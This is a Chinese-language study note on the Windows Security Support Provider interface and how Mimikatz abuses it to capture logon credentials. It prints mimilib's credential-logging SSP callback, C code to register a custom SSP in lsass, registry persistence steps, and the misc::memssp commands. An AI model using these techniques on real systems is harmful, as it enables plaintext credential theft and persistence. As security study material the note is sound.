学习了以下文章,整理SSP相关笔记:

Mimikatz中SSP的使用

深入分析Mimikatz:SSP

Exploring Mimikatz - Part 2 - SSP

Mimikatz提供了几种不同的技术来利用SSP。首先是Mimilib,它是一个具有多种功能的DLL,包括实现SSP接口。其次是smemssp,与前者干的是同一件事,但是是用过patch内存来达到目的,而不是加载DLL。

SSPI&SSP

SSP与mimilib - 图1

  • SSPI(Security Support Provider Interface)
这是 Windows 定义的一套接口,此接口定义了与安全有关的功能函数, 用来获得验证、信息完整性、信息隐私等安全功能,就是定义了一套接口函数用来身份验证,签名等,但是没有具体的实现。
  • SSP(Security Support Provider)
SSPI 的实现者,对SSPI相关功能函数的具体实现。微软自己实现了如下的 SSP,用于提供安全功能:
  1. NTLM SSP: msv1_0.dll
  2. Kerberos: kerberos.dll
  3. Cred SSP
  4. Digest SSP
  5. Negotiate SSP
  6. Schannel SSP
  7. Negotiate Extensions SSP
  8. PKU2U SSP
在系统层面,SSP就是一个dll,来实现身份验证等安全功能,实现的身份验证机制是不一样的。比如 NTLM SSP 实现的就是一种 Challenge/Response 验证机制。而 Kerberos 实现的就是基于 ticket 的身份验证机制。我们可以编写自己的 SSP,然后注册到操作系统中,让操作系统支持更多的自定义的身份验证方法。

SSP的实现-mimilib

mimikatz中的mimilib可以作为一个SSP来使用,mimilib通过模块定义文件.def声明了一堆导出函数,其中就有SpLsaModeInitialize

SpLsaModeInitialize = kssp_SpLsaModeInitialize

SpLsaModeInitialize是SSP的初始化函数,由LSA加载自己时调用。SpLsaModeInitialize的主要功能是给参数ppTables赋值,用于告诉LSA各个回调函数的地址;ppTables 指向SECPKG_FUNCTION_TABLE结构体,LSA需要SSP实现的函数指针都包含在此结构体内。

SSP与mimilib - 图2

mimilib SSP就实现了SpLsaModeInitialize及以下4个回调函数,相关实现都在kssp.c plain SpInitialize:用来初始化SSP,提供一个函数指针列表。 SpShutDown:卸载SSP时就会被调用,以便释放资源。 SpGetInfoFn:提供SSP相关信息,包括版本、名称以及描述。 SpAcceptCredentials:接收LSA传递的明文凭据,以便SSP缓存。 可以看到 kssp_SpAcceptCredentials 内部实现就是将获取到的明文凭据写到kiwissp.log中,认证结果直接访问Success。
  1. NTSTATUS NTAPI kssp_SpAcceptCredentials(SECURITY_LOGON_TYPE LogonType, PUNICODE_STRING AccountName, PSECPKG_PRIMARY_CRED PrimaryCredentials, PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials)
  2. {
  3. FILE *kssp_logfile;
  4. #pragma warning(push)
  5. #pragma warning(disable:4996)
  6. if(kssp_logfile = _wfopen(L"kiwissp.log", L"a"))
  7. #pragma warning(pop)
  8. {
  9. klog(kssp_logfile, L"[%08x:%08x] [%08x] %wZ\\%wZ (%wZ)\t", PrimaryCredentials->LogonId.HighPart, PrimaryCredentials->LogonId.LowPart, LogonType, &PrimaryCredentials->DomainName, &PrimaryCredentials->DownlevelName, AccountName);
  10. klog_password(kssp_logfile, &PrimaryCredentials->Password);
  11. klog(kssp_logfile, L"\n");
  12. fclose(kssp_logfile);
  13. }
  14. return STATUS_SUCCESS;
  15. }

操作SSP

遍历

EnumerateSecurityPackagesA

  1. #define SECURITY_WIN32
  2. #include <stdio.h>
  3. #include <Windows.h>
  4. #include <Security.h>
  5. #pragma comment(lib,"Secur32.lib")
  6. int main(int argc, char **argv) {
  7. ULONG packageCount = 0;
  8. PSecPkgInfoA packages;
  9. if (EnumerateSecurityPackagesA(&packageCount, &packages) == SEC_E_OK) {
  10. for (int i = 0; i < packageCount; i++) {
  11. printf("Name: %s\nComment: %s\n\n", packages[i].Name, packages[i].Comment);
  12. }
  13. }
  14. }

注册

方法1: 添加注册表后重启生效 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\Security Packages中加入mimilib.dll的路径 不需要将mimilib.dll拷贝到system32目录下,路径中不包含空格就可以 方法2: 调用AddSecurityPackage 这种方法立即能生效,但为了驻留还是需要添加上述注册表,以防重启后失效。Empire中的Install-SSP.ps1就实现了这一过程。
  1. #define SECURITY_WIN32
  2. #include <stdio.h>
  3. #include <Windows.h>
  4. #include <Security.h>
  5. #pragma comment(lib,"Secur32.lib")
  6. int main(int argc, char **argv) {
  7. SECURITY_PACKAGE_OPTIONS option;
  8. option.Size = sizeof(option);
  9. option.Flags = 0;
  10. option.Type = SECPKG_OPTIONS_TYPE_LSA;
  11. option.SignatureSize = 0;
  12. option.Signature = NULL;
  13. SECURITY_STATUS SEC_ENTRYnRet = AddSecurityPackageA(argv[1], &option);
  14. printf("AddSecurityPackage return with 0x%X\n", SEC_ENTRYnRet);
  15. }
注: DeleteSecurityPackageA删除SSP不起作用,可用3gStudent的FreeDll卸载mimilib.dll 方法3: RPC通知lsass加载SSP 没太看懂,POC没编译成功,大概原理是AddSecurityPackage的内部实现也是通过RPC调用,所以XPN使用了这个方法

misc::memssp

这种方法也可以dump 明文凭据,原理是hook msv1_0.dllSpAcceptCredentials函数,将凭据写入mimilsa.log中。 这种方式下,hook代码通过WriteProcessMemory被拷贝到lsass中,对lsass进程做写操作容易被检测到;而之前sekurlsa::wdigest的方法,应该只要对lsass有ReadProcessMemory权限即可。
  1. privilege::debug
  2. misc::memssp

原文

【Windows】SSP与mimilib